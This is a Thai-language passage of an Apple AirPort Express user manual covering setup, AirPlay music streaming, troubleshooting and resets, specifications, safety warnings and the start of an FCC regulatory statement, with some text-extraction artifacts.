คุณสามารถปฏิบัติได้ทั้งหมดสำาหรับส่วนพื้นฐานของการติดตั้งเครือข่ายและ
การตั้งค่าด้วยผู้ช่วยการตั้งค่าในยูทิลิตี้AirPort บนเครื่อง Mac หรือ Windows
หรือการตั้งค่า Wi-Fi บนอุปกรณ์iOS ของคุณ สำาหรับจัดการเครือข่ายและตั้ง
ค่าตัวเลือกขั้นสูงของคุณ โปรดดู“การตั้งค่าตัวเลือกขั้นสูง” ในหน้า 14
ความต้องการของระบบ
สำาหรับการติดตั้ง AirPort Express โดยใช้Mac คุณจำาเป็นต้องมี:
 เครื่อง Mac ที่ประกอบด้วยการ์ด AirPort ติดตั้งอยู่ (เพื่อติดตั้งอย่างไร้สาย)
หรือเครื่อง Mac ที่เชื่อมต่อไปยัง AirPort Express ที่ประกอบด้วยเคเบิล
Ethernet (เพื่อติดตั้งโดยใช้Ethernet)บท 2 การติดตั้ง AirPort Express 13
 Mac OS X เวอร์ชั่น 10.5.7 หรือใหม่กว่า
 ยูทิลิตี้AirPort เวอร์ชั่น 5.6.1 หรือใหม่กว่า
ใช้อัปเดตซอฟต์แวร์เพื่อขอรับเวอร์ชั่นล่าสุดของยูทิลิตี้AirPort
สำาหรับการติดตั้ง AirPort Express โดยใช้Windows PC คุณจำาเป็นต้องมี:
 เครื่อง Windows ที่ประกอบด้วยตัวประมวลผลความเร็ว 300 MHz หรือสูง
กว่า และ Wi-Fi ที่รองรับความสามารถแบบไร้สาย (เพื่อติดตั้งอย่างไร้สาย)
หรือเครื่อง Windows ที่เชื่อมต่อไปยัง AirPort Express ที่ประกอบด้วย
เคเบิล Ethernet (เพื่อติดตั้งโดยใช้Ethernet)
 Windows 7 (SP1)
 ยูทิลิตี้AirPort สำาหรับ Windows เวอร์ชั่น 5.6.1 หรือใหม่กว่า
สำาหรับการติดตั้ง AirPort Express โดยใช้อุปกรณ์iOS คุณจำาเป็นต้องมี:
 iPad, iPhone หรือ iPod touch ที่มีiOS 5 หรือใหม่กว่า
คุณจำาเป็นต้องใช้งาน iTunes เวอร์ชั่น 10.4 หรือใหม่กว่าในการเล่นเสียงจาก
คอมพิวเตอร์ไปยังสเตอริโอที่เชื่อมต่อกับ AirPort Express
คุณสามารถใช้AirPort Express กับอุปกรณ์ไร้สายใดๆ ที่รองรับการใช้งาน
Wi-Fi ได้
ถ้าคุณกำาลังใช้งาน AirPort Express เพื่อเชื่อมต่ออินเทอร์เน็ต คุณจำาเป็นต้อง
มีบัญชีบรอดแบนด์(DSL หรือเคเบิลโมเด็ม) ที่มีผู้ให้บริการอินเทอร์เน็ตหรือ
การเชื่อมต่ออินเทอร์เน็ตโดยใช้เครือข่าย Ethernet ที่มีอยู่แล้ว ถ้าคุณได้รับ
ข้อมูลจากผู้ให้บริการของคุณ เช่น ที่อยู่ IP แบบคงที่หรือชื่อผู้ใช้และรหัสผ่าน
ของ PPPoE คุณอาจจำาเป็นต้องป้อนข้อมูลดังกล่าวด้วย โปรดเตรียมข้อมูล
เหล่านี้ให้พร้อมใช้งานก่อนเริ่มต้นการติดตั้ง AirPort Express ของคุณ14 บท 2 การติดตั้ง AirPort Express
การติดตั้ง AirPort Express
สำาหรับการติดตั้ง AirPort Express โดยใช้คอมพิวเตอร์:
1 เปิดยูทิลิตี้AirPort ซึ่งจะอยู่ใน /แอปพลิเคชั่น/ยูทิลิตี้/ บนเครื่อง Mac และ
ในโปรแกรมทั้งหมดบนเครื่อง Windows
2 เลือก AirPort Express ของคุณและคลิกต่อไป
3 ปฏิบัติตามขั้นตอนบนหน้าจอสำาหรับการสร้างเครือข่ายใหม่หรือเข้าเชื่อมเครือ
ข่ายที่มีอยู่แล้ว
ถ้าคุณกำาลังใช้Mac OS X คุณสามารถใช้เมนูสถานะ Wi-Fi ในแถบเมนูเพื่อ
เลือก AirPort Express ของคุณ เมื่อคุณเลือกแล้ว ยูทิลิตี้AirPort จะเปิดขึ้น
เพื่อติดตั้ง AirPort Express ของคุณ
สำาหรับการติดตั้ง AirPort Express โดยใช้อุปกรณ์iOS:
1 แตะตั้งค่าบนหน้าจอโฮม และจากนั้นแตะ Wi-Fi
2 แตะชื่อ AirPort Express ของคุณ
3 ปฏิบัติตามขั้นตอนบนหน้าจอสำาหรับการสร้างเครือข่ายใหม่หรือเข้าเชื่อมเครือ
ข่ายที่มีอยู่แล้ว
การตั้งค่า Wi-Fi จะสามารถใช้เพื่อติดตั้ง AirPort Express ที่ยังไม่ถูกตั้งค่า
เท่านั้น
การตั้งค่าตัวเลือกขั้นสูง
สำาหรับตั้งค่าตัวเลือกขั้นสูง ให้ใช้ยูทิลิตี้AirPort บนคอมพิวเตอร์หรือดาวน์
โหลดยูทิลิตี้AirPort จาก App Store คุณสามารถกำาหนดการตั้งค่าขั้นสูง
ได้เช่น การเลือกช่องสัญญาณไร้สาย เครือข่ายแบบปิด การควบคุมการเข้าถึงบท 2 การติดตั้ง AirPort Express 15
บัญชีผู้ใช้งาน ตัวเลือกความปลอดภัย และอื่นๆ อีกมากมาย
สำาหรับตั้งค่าตัวเลือกขั้นสูงหรือทำาการเปลี่ยนแปลงค่าไปยังเครือข่ายที่ติดตั้งไว้
เรียบร้อยแล้ว:
1 เลือกเครือข่ายไร้สายที่ต้องการเปลี่ยน
 บนเครื่อง Mac ให้ใช้เมนูสถานะ Wi-Fi ในแถบเมนู
 บนเครื่อง Windows ให้ชี้ค้างไว้เหนือไอคอนการเชื่อมต่อไร้สายจนกระทั่ง
คุณพบชื่อเครือข่าย AirPort (SSID) และเลือกจากรายการถ้าปรากฏหลายๆ
เครือข่ายที่สามารถใช้งานได้
 บนอุปกรณ์iOS ให้เลือกเครือข่ายในตั้งค่า Wi-Fi
ถ้าคุณไม่ได้ติดตั้ง AirPort Express ของคุณไว้โดยทั่วไปแล้วชื่อของเครือ
ข่ายสำาหรับสถานีฐานของ Apple จะเป็น AirPortNetWork xxxxxx โดยที่
xxxxxx คือตัวเลขหกตำาแหน่งสุดท้ายของ AirPort ID
2 เปิดยูทิลิตี้AirPort
3 ถ้าปรากฏสถานีฐานมากกว่าหนึ่งสถานีในรายการ ให้เลือกอันใดอันหนึ่งที่
ต้องการ
ถ้าคุณไม่พบสถานีฐาน ให้คลิกสแกนใหม่
4 ถ้าคุณพบหน้าต่างโต้ตอบสำาหรับรหัสผ่าน ให้ป้อนรหัสผ่านที่เกี่ยวข้อง
5 ปรับเปลี่ยนการตั้งค่าที่ต้องการเพื่อเปลี่ยนแปลง AirPort Express หรือเครือ
ข่ายของคุณ
สำาหรับอื่นๆ เกี่ยวกับเครือข่ายไร้สายและคุณสมบัติพิเศษของยูทิลิตี้AirPort
โปรดดูApple AirPort Networks ได้ที่ www.apple.com/asia/
support/airport3
16
การใช้AirPort Express เพื่อ
กระจายเพลง
ถ้าคุณเชื่อมต่อ AirPort Express ไปยังสเตอริโอ หรือลำาโพงของคุณ คุณ
สามารถใช้AirPlay เพื่อเล่นเพลงจาก iTunes บนคอมพิวเตอร์ใดๆ หรือจาก
อุปกรณ์iOS บนเครือข่ายของคุณได้
สำาหรับการตั้งค่า:
1 เชื่อมต่อพอร์ตส่งออกเสียงบน AirPort Express ไปยังสเตอริโอหรือลำาโพง
ของบ้านคุณ ใช้เคเบิลใยแก้วนำาแสงแบบดิจิตอล เคเบิลมินิสเตอริโอคู่ RCA
แบบอะนาล็อค หรือเคเบิลมินิสเตอริโอไปมินิสเตอริโอ ทั้งนี้ขึ้นอยู่กับประเภท
ของตัวเชื่อมต่อสเตอริโอที่คุณใช้งาน
หมายเหตุ: คุณไม่สามารถใช้ลำาโพง USB กับ AirPort Express ได้ใช้ลำาโพง
สเตอริโอตัวเชื่อมต่อแบบมินิแจ็ค
2 สำาหรับเข้าเชื่อมเครือข่ายไร้สาย:
 บนเครื่อง Mac ให้ใช้เมนูสถานะ AirPort ในแถบเมนู
 บนเครื่อง Windows ให้ชี้ค้างไว้เหนือไอคอนการเชื่อมต่อไร้สายจนกระทั่ง
คุณพบชื่อเครือข่าย AirPort (SSID) และเลือกจากรายการถ้าปรากฏหลายๆ
เครือข่ายที่สามารถใช้งานได้ป้อนรหัสผ่านเครือข่ายถ้าจำาเป็น
 บนอุปกรณ์iOS ให้เลือกเครือข่ายที่ต้องการเข้าเชื่อมจากรายการเครือข่ายใน
การตั้งค่า Wi-Fiบท 3 การใช้AirPort Express เพื่อกระจายเพลง 17
3 ใช้AirPlay เพื่อกระจายเพลงไปยังสเตอริโอหรือลำาโพงของคุณ:
 บนเครื่อง Mac หรือ Windows ให้เปิด iTunes และเลือก
AirPort Express ของคุณจากเมนูป็อปอัพ AirPlay ( ) ที่ด้านล่างขวา
ของหน้าต่าง iTunes
 บนอุปกรณ์iOS ให้เลือก AirPort Express ที่ีต้องการใช้จากเมนูป็อปอัพ
AirPlay ( )
ถ้าคุณมีAirPort Express มากกว่าหนึ่งเครื่อง คุณสามารถเชื่อมต่อไปยัง
เครื่องใดเครื่องหนึ่งกับสเตอริโอในห้องนั่งเล่นของคุณและเชื่อมต่อเครื่องอื่นๆ
ไปยังลำาโพงในห้องส่วนตัวของคุณได้การใช้AirPlay คุณจะสามารถกระจาย
เพลงใน iTunes จากคอมพิวเตอร์หรืออุปกรณ์ไร้สายใดๆ บนเครือข่ายไปยัง
AirPort Express ในบ้านของคุณได้
คุณยังสามารถกระจายเพลงไปยัง AirPort Express มากกว่าหนึ่งเครื่องพร้อม
กันโดยใช้iTunes ได้แต่อุปกรณ์เดียวเท่านั้นที่สามารถกระจายเพลงไปยัง
AirPort Express ในเวลาเดียวกันได้4
18
เทคนิคและวิธีแก้ไข
คุณสามารถแก้ไขปัญหาต่างๆ ที่เกิดขึ้นกับ AirPort Express
ได้อย่างรวดเร็ว โดยการปฏิบัติตามคำาแนะนำาในบทนี้
สถานที่ที่ดีที่สุดสำาหรับ AirPort Express
การปฏิบัติตามคำาแนะนำานี้จะช่วยให้AirPort Express ของคุณเกิดประสิทธิภาพ
ในการทำางานไร้สายและเครือข่ายได้ดีที่สุด
 วาง AirPort Express ในพื้นที่เปิดโล่ง ไม่มีสิ่งกีดขวางใดๆ เช่น เฟอร์นิเจอร์
ขนาดใหญ่หรือกำาแพง วางเครื่องให้ห่างจากพื้นผิวที่เป็นโลหะ
 หลีกเลี่ยงการวาง AirPort Express ไว้ที่ด้านหลังของเฟอร์นิเจอร์หรือในชั้น
วางของ
 ห้ามวาง AirPort Express ทางด้านข้างของเครื่อง
 ห้ามวาง AirPort Express ของคุณในพื้นที่ที่รอบๆ นั้นมีพื้นผิวเป็นโลหะ
ตั้งแต่สามด้านขึ้นไป
 ถ้าคุณวาง AirPort Express ในสถานบันเทิงที่มีอุปกรณ์สเตอริโออยู่ ห้าม
ให้รอบๆ AirPort Express เต็มไปด้วยเคเบิลเสียง วิดีโอ หรือสายไฟ วาง
AirPort Express ของคุณให้สายเคเบิลอยู่ด้านใดหน้าหนึ่ง โปรดรักษา
ระยะห่างระหว่าง AirPort Express และเคเบิลต่างๆ
 วาง AirPort Express ของคุณให้ห่างจากเตาไมโครเวฟ โทรศัพท์แบบ
ไร้สายความถี่ 2.4 GHz หรือแหล่งรบกวนอื่นๆ อย่างน้อย 25 ฟุต (8 เมตร)บท 4 เทคนิคและวิธีแก้ไข 19
การหลีกเลี่ยงการรบกวน
สิ่งต่างๆ ต่อไปนี้อาจเป็นสาเหตุการรบกวนการสื่อสารแบบไร้สายได้:
 เตาไมโครเวฟ
 การแผ่รังสีของคลื่นความถี่วิทยุในบริการดาวเทียมโดยตรง (DSS)
 เคเบิลโคแอกเชียลที่ต่อพ่วงมาจากจานรับสัญญาณดาวเทียม โปรดติดต่อ
ผู้ผลิตอุปกรณ์เพื่อขอรับเคเบิลใหม่
 อุปกรณ์ไฟฟ้า เช่น สายไฟ รางรถไฟฟ้า และสถานีจ่ายไฟ
 โทรศัพท์แบบไร้สายที่ทำางานในย่านความถี่ 2.4 GHz ถ้าคุณพบปัญหา
เกี่ยวกับโทรศัพท์หรือ AirPort ของคุณ ให้เปลี่ยนช่องสัญญาณ AirPort
Express ที่คุณใช้งาน
 สถานีฐานใกล้เคียงที่ใช้ช่องสัญญาณในย่านใกล้เคียงกัน ตัวอย่าง ถ้าอุปกรณ์
A ใช้ช่องสัญญาณ 1 อุปกรณ์B ควรใช้ช่องสัญญาณ 6 หรือ 11 สำาหรับ
ให้เกิดประสิทธิผลสูงสุด ให้ใช้ช่องสัญญาณ 1, 6 หรือ 11 เมื่อคุณใช้งาน
อุปกรณ์ที่มีความถี่อยู่ในช่วง 2.4 GHz
โปรดออกห่างจากแหล่งรบกวนเหล่านี้เพื่อช่วยลดปัญหาที่อาจเกิดขึ้นได้
ปัญหาและวิธีแก้ปัญหา
ถ้าซอฟต์แวร์AirPort ไม่สามารถตรวจจับ AirPort Express ของ
คุณได้
ตรวจสอบให้แน่ใจว่าเครื่อง Mac ของคุณกำาลังใช้งาน Wi-Fi ให้ใช้เมนูสถานะ
Wi-Fi ในแถบเมนูเพื่อตรวจสอบให้แน่ใจว่า Wi-Fi เปิดใช้อยู่20 บท 4 เทคนิคและวิธีแก้ไข
ถ้าคุณกำาลังใช้เครื่อง Windows ตรวจสอบให้แน่ใจว่าการ์ดเครือข่ายไร้สาย
หรืออะแดปเตอร์ถูกติดตั้งอย่างถูกต้อง สำาหรับตรวจสอบการเชื่อมต่อ โปรดดู
เอกสารที่มาพร้อมกับคอมพิวเตอร์ของคุณ
ถ้าคุณไม่สามารถเล่นเพลงจาก iTunes บนสเตอริโอของคุณได้
 ตรวจสอบให้แน่ใจว่า AirPort Express ของคุณได้เสียบปลักเข้ากับแหล่ง ๊
จ่ายไฟและอยู่ในช่วงของคอมพิวเตอร์หรืออุปกรณ์ไร้สายสามารถเชื่อมต่อได้
อีกทั้งคุณได้เชื่อมต่อเคเบิลอย่างถูกต้องแล้ว คุณอาจจำาเป็นต้องเข้าเชื่อม
เครือข่าย AirPort Express
 ตรวจสอบให้แน่ใจว่าคุณได้เลือก AirPort Express จากเมนูป็อปอัพ
AirPlay ( ) ในหน้าต่าง iTunes บนคอมพิวเตอร์หรือจากเมนูป็อปอัพ
AirPlay บนอุปกรณ์iOS ของคุณแล้ว
 ตรวจสอบให้แน่ใจว่าคุณกำาลังใช้งาน iTunes เวอร์ชั่น 10.4 หรือใหม่กว่าบน
คอมพิวเตอร์อยู่
ถ้าคุณไม่ได้ยินเสียงเพลงที่กำาลังเล่นอยู่
ถ้าเพลงกำาลังเล่นอยู่ (หัวเล่นในแถบความคืบหน้าที่ด้านบนของหน้าต่าง
iTunes กำาลังเคลื่อนย้าย) แต่คุณไม่ได้ยินเสียงใดๆ โปรดตรวจสอบสิ่งต่างๆ
ต่อไปนี้:
 ตรวจสอบให้แน่ใจว่าคุณได้เลือกลำาโพงระยะไกลจากเมนูป็อปอัพ AirPlay
( ) ในหน้าต่าง iTunes บนคอมพิวเตอร์หรือจากเมนูป็อปอัพ AirPlay บน
อุปกรณ์iOS ของคุณแล้ว อีกทั้งยังต้องตรวจสอบให้แน่ใจว่าระดับเสียงของ
ลำาโพงระยะไกลไม่ได้ถูกปิดลงบท 4 เทคนิคและวิธีแก้ไข 21
 ตรวจสอบให้แน่ใจว่าสเตอริโอหรือลำาโพงของคุณถูกเปิดอยู่ และระดับเสียง
ถูกเปิดให้ดัง
ถ้าคุณลืมรหัสผ่านเครือข่ายหรือรหัสผ่าน AirPort Express
คุณสามารถล้างรหัสผ่านเครือข่าย AirPort หรือรหัสผ่านของ AirPort
Express ได้โดยการรีเซ็ท AirPort Express
สำาหรับรีเซ็ทรหัสผ่าน AirPort Express และเครือข่าย:
1 ใช้ปลายสุดของคลิปหนีบกระดาษที่ดัดตรงแล้ว กดลงที่ปุ่มรีเซ็ทประมาณ
หนึ่งวินาที
2 เลือกเครือข่าย AirPort ของคุณ
บนเครื่อง Mac ให้ใช้เมนูสถานะ AirPort ในแถบเมนูเพื่อเลือกเครือข่ายที่
สร้างขึ้นโดย AirPort Express (ชื่อเครือข่ายจะไม่เปลี่ยน)
บนเครื่อง Windows ให้ชี้ค้างไว้เหนือไอคอนการเชื่อมต่อไร้สายจนกระทั่งคุณ
พบชื่อเครือข่าย AirPort (SSID) และจากนั้นเลือกเครือข่าย
3 เปิดยูทิลิตี้AirPort
4 เลือก AirPort Express ของคุณและคลิกกำาหนดค่า
5 ในหน้าต่างโต้ตอบที่ปรากฏ ให้ทำาการเปลี่ยนแปลงต่อไปนี้:
 รีเซ็ทรหัสผ่าน AirPort Express
 เปิดการเข้ารหัสเพื่อเปิดใช้งานการป้องกันด้วยรหัสผ่านสำาหรับเครือข่าย
AirPort ของคุณ ถ้าคุณเปิดการเข้ารหัส ให้ป้อนรหัสผ่านใหม่สำาหรับ
เครือข่าย AirPort ของคุณ
6 คลิกตกลง22 บท 4 เทคนิคและวิธีแก้ไข
AirPort Express จะเริ่มต้นการทำางานและโหลดการตั้งค่าใหม่อีกครั้ง
ถ้า AirPort Express ของคุณไม่ตอบสนอง
ให้ถอดสายจากแหล่งจ่ายไฟและเสียบสายใหม่อีกครั้ง
ถ้า AirPort Express ของคุณหยุดการตอบสนองโดยสมบูรณ์คุณอาจจำาเป็น
ต้องรีเซ็ทเครื่องเพื่อใช้การตั้งค่าจากโรงงาน ซึ่งจะเป็นการลบการตั้งค่าทั้งหมดที่
คุณได้ทำาไว้และจะรีเซ็ทการตั้งค่าเหล่านั้นกลับเป็นค่าเริ่มต้น
สำาหรับคืนค่า AirPort Express ของคุณให้กลับเป็นค่าจากโรงงาน:
m ใช้ปลายสุดของคลิปหนีบกระดาษที่ดัดตรงแล้ว กดลงที่ปุ่มรีเซ็ทค้างไว้ประมาณสิบวินาที
AirPort Express จะเริ่มต้นการทำางานใหม่ด้วยการตั้งค่าต่อไปนี้:
 AirPort Express จะรับที่อยู่ IP ของเครื่องโดยใช้DHCP
 ชื่อเครือข่ายจะคืนกลับเป็น AppleNerwork xxxxxx (โดยที่ x เป็นตัวอักษร
หรือตัวเลข)
 รหัสผ่าน AirPort Express จะคืนกลับเป็นสาธารณะ
ถ้าคุณได้ใช้ยูทิลิตี้AirPort สำาหรับการสร้างโปรไฟล์AirPort Express ของ
คุณไว้ก่อนหน้านี้โปรไฟล์นั้นจะถูกเก็บรักษาไว้เมื่อคุณรีเซ็ท AirPort Express
ถ้าคุณจำาเป็นต้องคืนค่า AirPort Express ของคุณกลับเป็นการตั้งค่าจาก
โรงงานและลบโปรไฟล์ที่คุณได้กำาหนดไว้:
1 ถอดสาย AirPort Express
2 ใช้ปลายสุดของคลิปหนีบกระดาษที่ดัดตรงแล้ว กดลงที่ปุ่มรีเซ็ทค้างไว้ขณะ
เสียบสายของ AirPort Express
รอจนกระทั่งไฟสถานะกระพริบ และจากนั้นรีเซ็ทสถานีฐานบท 4 เทคนิคและวิธีแก้ไข 23
ถ้าไฟสถานะ AirPort Express กระพริบสีเหลืองอำาพัน
เคเบิล Ethernet อาจไม่ได้เชื่อมต่ออย่างถูกต้อง AirPort Express อาจอยู่
นอกขอบเขตของเครือข่าย AirPort หรือเครื่องอาจเกิดปัญหากับการติดต่อ
ผู้ให้บริการอินเทอร์เน็ต
ถ้าคุณได้เชื่อมต่ออินเทอร์เน็ตด้วย DSL หรือเคเบิลโมเด็ม โมเด็มอาจจะสูญเสีย
การเชื่อมต่อได้ถึงแม้ว่าโมเด็มอาจจะทำางานอย่างถูกต้องแล้ว ให้ทดลองตัด
การเชื่อมต่อโมเด็มจากแหล่งจ่ายไฟ รอประมาณสองสามวินาทีและจากนั้น
เชื่อมต่ออีกครั้ง ตรวจสอบให้แน่ใจว่า AirPort Express ได้เชื่อมต่อไปที่โมเด็ม
ผ่าน Ethernet โดยตรงก่อนการเชื่อมต่อแหล่งจ่ายไฟไปยังโมเด็ม
สำาหรับข้อมูลเกี่ยวกับการกระพริบไฟสีเหลืองอำาพัน ให้เปิดยูทิลิตี้AirPort บน
คอมพิวเตอร์หรืออุปกรณ์iOS และเลือกสถานีฐาน ป้อนรหัสผ่านของสถานีฐาน
ถ้าจำาเป็น จากนั้นเลือก AirPort Express ของคุณเพื่อแสดงข้อมูลสถานะ
บนคอมพิวเตอร์คุณยังสามารถเลือกกล่องกาเครื่องหมาย “เฝ้าสังเกตสถานีฐาน
สำาหรับปัญหา” ในการตั้งค่ายูทิลิตี้AirPort ถ้าสถานีฐานเกิดปัญหาขึ้น ยูทิลิตี้
AirPort จะเปิดขึ้นและช่วยคุณแก้ไขปัญหาดังกล่าว
ถ้าคุณต้องการอัปเดตซอฟต์แวร์AirPort Express
Apple จะอัปเดตยูทิลิตี้AirPort อย่างสม่ำาเสมอ สำาหรับดาวน์โหลดเวอร์ชั่น
ล่าสุด:
 บนเครื่อง Mac หรือ Windows ไปที่
www.apple.com/asia/support/airport
 บนอุปกรณ์iOS ไปที่ App Store24 บท 4 เทคนิคและวิธีแก้ไข
สำาหรับอัปเดตเฟิร์มแวร์AirPort Express จากคอมพิวเตอร์:
1 เปิดยูทิลิตี้AirPort
2 เลือก AirPort Express ของคุณ
3 คลิกอัปเดตถัดจากหมายเลขเวอร์ชั่น
สำาหรับอัปเดตเฟิร์มแวร์AirPort Express จากอุปกรณ์iOS:
m เปิดยูทิลิตี้AirPort ให้เลือก AirPort Express และจากนั้นแตะเวอร์ชั่น5
25
การเรียนรู้เพิ่มเติม บริการ และการ
สนับสนุน
คุณสามารถค้นหาข้อมูลเพิ่มเติมเกี่ยวกับการใช้งาน AirPort
Express ในความช่วยเหลือบนหน้าจอและบนเว็บได้
ความช่วยเหลือบนหน้าจอในเครื่องคอมพิวเตอร์ของคุณ
สำาหรับเรียนรู้เพิ่มเติมเกี่ยวกับการใช้งาน AirPort ให้เปิดยูทิลิตี้AirPort และ
เลือกวิธีใช้> วิธีใช้ยูทิลิตี้AirPort
แหล่งข้อมูลออนไลน์
สำาหรับข้อมูลล่าสุดเกี่ยวกับ AirPort Express ไปที่
www.apple.com/asia/airportexpress
สำาหรับลงทะเบียน AirPort Express ของคุณ ให้ไปที่
www.apple.com/register
สำาหรับบริการของ AirPort และข้อมูลการบริการ เข้าถึงได้ในห้องแสดง
ความคิดเห็นเกี่ยวกับข้อมูลจำาเพาะของผลิตภัณฑ์และความคิดเห็นต่างๆ รวมถึง
ดาวน์โหลดซอฟต์แวร์ของ Apple โดยไปที่
www.apple.com/asia/support/airport
สำาหรับการสนับสนุนภายนอกประเทศสหรัฐอเมริกา ไปที่ www.apple.com/
asia/support และเลือกประเทศของคุณจากเมนูป็อปอัพ26 การเรียนรู้เพิ่มเติม บริการ และการสนับสนุน
การบริการสำาหรับการรับประกันที่ได้รับ
ถ้า AirPort Express ของคุณได้รับการกระแทกหรือไม่ทำางานอย่างถูกต้อง
ให้ปฏิบัติตามคำาแนะนำาในคู่มือ ความช่วยเหลือบนหน้าจอ และแหล่งข้อมูล
ออนไลน์
ถ้า AirPort Express ของคุณยังไม่สามารถทำางานได้อย่างถูกต้อง ให้ไป
ที่ www.apple.com/asia/support และคลิก Check Your Service &
Support Coverage สำาหรับข้อมูลเกี่ยวกับบริการสำาหรับการรับประกันที่ได้รับ
การค้นหาหมายเลขประจำาเครื่องของ AirPort Express
หมายเลขประจำาเครื่องจะถูกพิมพ์ทางด้านหลังของ AirPort Express6
27
ข้อมูลจำาเพาะและข้อมูลความ
ปลอดภัย
ข้อมูลจำาเพาะ AirPort
 ย่านความถี่: 2.4 และ 5 กิกะเฮิรตซ์(GHz)
 มาตรฐาน: 802.11n Wi-Fi
ส่วนติดต่อ
 RJ-45 10/100Base-T Ethernet WAN (<)
 RJ-45 10/100Base-T Ethernet LAN (G)
 บัสการสื่อสารแบบอนุกรม (USB) 2.0 (d)
 มินิแจ็คออปติคอลแบบอะนาล็อคหรือดิจิตอล ขนาด 3.5 มม. (-)
 Wi-Fi มาตรฐาน 802.11n ที่ทำางานได้บนสองย่านความถี่พร้อมกัน
ข้อมูลจำาเพาะของสิ่งแวดล้อม
 อุณหภูมิการทำางาน: 32° F ถึง 95° F (0° C ถึง 35° C)
 อุณหภูมิการเก็บรักษา: -13° F ถึง 140° F (-25° C ถึง 60° C)
 ความชื้นสัมพัทธ์(การทำางาน): 20% ถึง 80% ของความชื้นสัมพัทธ์
 ความชื้นสัมพัทธ์(การเก็บรักษา): 10% ถึง 90% ของความชื้นสัมพัทธ์
แบบไม่ควบแน่น28 บท 6 ข้อมูลจำาเพาะและข้อมูลความปลอดภัย
 ความสูงของการทำางาน: 0 ถึง 10,000 ฟุต (0 ถึง 3048 ม.)
 ความสูงการเก็บรักษาสูงสุด: 15,000 ฟุต (4572 ม.)
ขนาด
 ความยาว: 3.9 นิ้ว (98 มม.)
 ความกว้าง: 3.9 นิ้ว (98 มม.)
 ความหนา: .9 นิ้ว (23 มม.)
เทคนิคความปลอดภัยของ AirPort Express
 การตัดการเชื่อมต่อจากแหล่งจ่ายไฟนั้นจะเป็นวิธีเดียวในการตัดกระแสไฟที่
จ่ายไปยัง AirPort Express ของคุณได้อย่างสมบูรณ์
 AirPort Express ของคุณเป็นอุปกรณ์ที่ใช้แรงดันไฟสูง ห้ามเปิดเครื่องออก
สำาหรับกรณีใดๆ ถึงแม้ว่าเครื่องจะถูกถอดปลักแล้ว ๊ ถ้า AirPort Express
ของคุณจำาเป็นต้องได้รับการบริการ โปรดดู“การเรียนรู้เพิ่มเติม บริการ และ
การสนับสนุน” ในหน้า 25
 งดใช้แรงบังคับตัวเชื่อมต่อเพื่อใส่ลงในพอร์ต ตรวจสอบให้มั่นใจว่าตัว
เชื่อมต่อนั้นสอดคล้องกับพอร์ตและตำาแหน่งที่ถูกต้องในพอร์ตที่สัมพันธ์กันบท 6 ข้อมูลจำาเพาะและข้อมูลความปลอดภัย 29
หลีกเลี่ยงพื้นที่เปียกชื้น
คำเตือน: สำาหรับลดความเสี่ยงของการถูกช็อตหรือการบาดเจ็บ ห้ามใช้
AirPort Express ในหรือบริเวณใกล้พื้นที่ที่มีน้ำาหรือเปียกชื้น
 เก็บรักษา AirPort Express ให้ห่างจากแหล่งของเหลว เช่น เครื่องดื่ม
อ่างล้างหน้า อ่างอาบน้ำา หรือห้องอาบน้ำา
 ป้องกัน AirPort Express จากฝนหรือความชื้นอื่นๆ
 ดูแลรักษาไม่ให้อาหารหรือของเหลวหกหล่นบน AirPort Express ของคุณ
ถ้าคุณต้องการทำาความสะอาด ให้ถอดปลัก๊ AirPort Express ออกก่อน
ทุกครั้ง
ในกรณีของวัตถุที่หกหล่นใส่ คุณอาจจำาเป็นต้องส่งอุปกรณ์ให้กับ Apple เพื่อ
ขอรับบริการ โปรดดู“การเรียนรู้เพิ่มเติม บริการ และการสนับสนุน” ในหน้า 25
ห้ามซ่อมแซมด้วยตัวเอง
คำเตือน: ห้ามเปิดหรือแยกชิ้นส่วน AirPort Express ของคุณ คุณอาจเสี่ยง
ต่อการถูกไฟฟ้าช็อตและเป็นโมฆะภายใต้การรับประกันที่จำากัด ไม่มีชิ้นส่วนใด
ภายในที่ผู้ใช้สามารถเปลี่ยนเองได้Regulatory Compliance Information
30
คำาแถลงข้อบังคับของ FCC
อุปกรณ์นี้ได้สอดคล้องกับกฎของ FCC ส่วนที่ 15 ใน
กระบวนการทำางานจะต้องปฏิบัติภายใต้สองเงื่อนไข
ต่อไปนี้: (1) อุปกรณ์นี้อาจเป็นสาเหตุการรบกวน
ที่เป็นอันตรายได้และ (2) อุปกรณ์นี้อาจจำาเป็นที่
จะได้รับการรบกวนอื่นๆ รวมถึงการรบกวนที่อาจ
เป็นสาเหตุที่ก่อให้เกิดการทำางานที่ผิดพลาด โปรดดู
ขั้นตอนปฏิบัติถ้าเกิดการรบกวนที่สงสัยไปยังวิทยุ
หรือโทรทัศน์
การรบกวนวิทยุและโทรทัศน์
อุปกรณ์สำาหรับคอมพิวเตอร์จะสร้าง ใช้และสามารถ
แผ่คลื่นความถี่วิทยุได้ถ้าอุปกรณ์ไม่ได้ถูกติดตั้งและ
ใช้งานอย่างถูกวิธีตามขั้นตอนแนะนำาของ Apple จะ
ทำาให้เกิดการรบกวนกับการรับสัญญาณของวิทยุ
และโทรทัศน์
อุปกรณ์นี้ได้รับการทดสอบและสอดคล้องกับข้อบังคับ
สำาหรับอุปกรณ์ดิจิตอลระดับ B ตามข้อบังคับใน
ส่วนที่ 15 ของกฎ FCC คุณสมบัติเหล่านี้ได้รับ
การออกแบบเพื่อให้มีการป้องกันที่เหมาะสมต่อ
การรบกวนดังกล่าวสำาหรับการติดตั้งในที่อยู่อาศัย
อย่างไรก็ตามยังไม่สามารถรับรองได้ว่าการรบกวนจะ
ไม่เกิดขึ้นในส่วนของการติดตั้ง
คุณสามารถพิจารณาได้ว่าระบบคอมพิวเตอร์ของ
คุณนั้นเป็นสาเหตุของการรบกวนหรือไม่ โดยการ
ปิดเครื่อง ถ้าการรบกวนสิ้นสุดลง สาเหตุของการ
รบกวนอาจมาจากคอมพิวเตอร์หรืออุปกรณ์ต่อพ่วง
ที่ใช้งานร่วมอยู่
ถ้าระบบคอมพิวเตอร์ของคุณเป็นสาเหตุของการ
รบกวนไปยังวิทยุหรือโทรทัศน์ให้ทดลองเพื่อแก้ไข
การรบกวนโดยการปรับตามข้อหนึ่งๆ หรือหลายๆ
ข้อต่อไปนี้:
• หมุนจานรับสัญญาณของโทรทัศน์หรือวิทยุจน
กระทั่งการรบกวนสิ้นสุดลง
• ย้ายคอมพิวเตอร์ไปด้านใดด้านหนึ่งของโทรทัศน์
หรือวิทยุ
• ย้ายคอมพิวเตอร์ออกห่างจากโทรทัศน์หรือวิทยุ
• เสียบปลักคอมพิวเตอร์เข้ากับแหล่งจ่ายไฟที่อยู่ ๊
